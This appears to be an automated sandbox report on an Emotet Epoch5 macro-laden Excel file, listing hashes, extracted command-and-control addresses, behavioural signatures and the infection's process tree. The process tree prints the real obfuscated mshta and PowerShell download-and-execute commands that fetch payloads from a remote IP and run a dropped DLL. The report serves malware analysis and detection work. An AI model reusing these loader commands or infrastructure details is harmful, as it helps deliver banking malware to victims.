emotet | c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70

General

Target

c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70.xlsm
Size

112KB
MD5

aa9024b6219f678650836159f61ef986
SHA1

8074a6282469e5ae5d231a5835bd4afc722762e4
SHA256

c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70
SHA512

22f39f495ffd1624810101620046a81df874b3f81c37b7b3c9f98e5378f40098b4bd446960da28d09aba87a4588ba43c967a7e5af2485af289fb7be7ea8220ce

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	616	2520	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

37 2112 mshta.exe
40 1908 powershell.exe
42 1908 powershell.exe
47 524 rundll32.exe
48 524 rundll32.exe
49 524 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1768 rundll32.exe
1252 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Zbuohsrnkam\vndbajbuofi.jfa rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2172 2112 WerFault.exe mshta.exe

flow	pid	process
37	2112	mshta.exe
40	1908	powershell.exe
42	1908	powershell.exe
47	524	rundll32.exe
48	524	rundll32.exe
49	524	rundll32.exe

pid	process
1768	rundll32.exe
1252	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Zbuohsrnkam\vndbajbuofi.jfa	rundll32.exe

pid	pid_target	process	target process
2172	2112	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2520 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1908	powershell.exe
1908	powershell.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
2172	WerFault.exe
1908	powershell.exe
524	rundll32.exe
524	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1908 powershell.exe
Token: SeDebugPrivilege 2172 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	2172	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2520 wrote to memory of 616	2520	EXCEL.EXE	cmd.exe
PID 2520 wrote to memory of 616	2520	EXCEL.EXE	cmd.exe
PID 616 wrote to memory of 2112	616	cmd.exe	mshta.exe
PID 616 wrote to memory of 2112	616	cmd.exe	mshta.exe
PID 2112 wrote to memory of 1908	2112	mshta.exe	powershell.exe
PID 2112 wrote to memory of 1908	2112	mshta.exe	powershell.exe
PID 1908 wrote to memory of 2408	1908	powershell.exe	cmd.exe
PID 1908 wrote to memory of 2408	1908	powershell.exe	cmd.exe
PID 2408 wrote to memory of 1768	2408	cmd.exe	rundll32.exe
PID 2408 wrote to memory of 1768	2408	cmd.exe	rundll32.exe
PID 2408 wrote to memory of 1768	2408	cmd.exe	rundll32.exe
PID 1768 wrote to memory of 1252	1768	rundll32.exe	rundll32.exe
PID 1768 wrote to memory of 1252	1768	rundll32.exe	rundll32.exe
PID 1768 wrote to memory of 1252	1768	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 3768	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 3768	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 3768	1252	rundll32.exe	rundll32.exe
PID 3768 wrote to memory of 524	3768	rundll32.exe	rundll32.exe
PID 3768 wrote to memory of 524	3768	rundll32.exe	rundll32.exe
PID 3768 wrote to memory of 524	3768	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c80a32c49ac7bde59c31966abd4db02186a8fa1cb19f389a95c909243a438e70.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\system32\mshta.exe
    mshta http://92.255.57.195/ru/ru.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2408
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1768
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1252
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zbuohsrnkam\vndbajbuofi.jfa",rnDzMDR
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3768
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zbuohsrnkam\vndbajbuofi.jfa",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:524
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2112 -s 2256
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
4fe97ff29d19fb8f5948eafa0bd55445

SHA1
6943ca24424868ff127f1f6b425df04ebb11ba48

SHA256
c10bb4445adb8dec3454009e5f5d12854f86111c1b8a700a96c833d60b05a6c3

SHA512
2ab0c9b9d714f2014eb1e8a3460622143f4a25ab92111d6cf57512383e0033342174b16156bcab847066a589ecf85aa795a81933f2d903cdcae9bfbf651d3987

Download Submit
\Users\Public\Documents\ssd.dll

MD5
4fe97ff29d19fb8f5948eafa0bd55445

SHA1
6943ca24424868ff127f1f6b425df04ebb11ba48

SHA256
c10bb4445adb8dec3454009e5f5d12854f86111c1b8a700a96c833d60b05a6c3

SHA512
2ab0c9b9d714f2014eb1e8a3460622143f4a25ab92111d6cf57512383e0033342174b16156bcab847066a589ecf85aa795a81933f2d903cdcae9bfbf651d3987

Download Submit
\Users\Public\Documents\ssd.dll

MD5
4fe97ff29d19fb8f5948eafa0bd55445

SHA1
6943ca24424868ff127f1f6b425df04ebb11ba48

SHA256
c10bb4445adb8dec3454009e5f5d12854f86111c1b8a700a96c833d60b05a6c3

SHA512
2ab0c9b9d714f2014eb1e8a3460622143f4a25ab92111d6cf57512383e0033342174b16156bcab847066a589ecf85aa795a81933f2d903cdcae9bfbf651d3987

Download Submit
memory/1252-470-0x0000000002890000-0x00000000028B8000-memory.dmp

Filesize
160KB

Download
memory/1768-322-0x00000000045C0000-0x00000000045E8000-memory.dmp

Filesize
160KB

Download
memory/1908-297-0x000002A8C4CB0000-0x000002A8C4CEC000-memory.dmp

Filesize
240KB

Download
memory/1908-318-0x000002A8ACBB0000-0x000002A8C4D90000-memory.dmp

Filesize
385.9MB

Download
memory/1908-277-0x000002A8ACB10000-0x000002A8ACB32000-memory.dmp

Filesize
136KB

Download
memory/1908-355-0x000002A8ACBB0000-0x000002A8C4D90000-memory.dmp

Filesize
385.9MB

Download
memory/1908-308-0x000002A8C4E90000-0x000002A8C4F06000-memory.dmp

Filesize
472KB

Download
memory/1908-317-0x000002A8ACBB0000-0x000002A8C4D90000-memory.dmp

Filesize
385.9MB

Download
memory/2520-128-0x00007FF7DF4C0000-0x00007FF7DF4D0000-memory.dmp

Filesize
64KB

Download
memory/2520-129-0x00007FF7DF4C0000-0x00007FF7DF4D0000-memory.dmp

Filesize
64KB

Download
memory/2520-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2520-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2520-117-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2520-115-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2520-116-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/3768-471-0x00000000045E0000-0x0000000004608000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads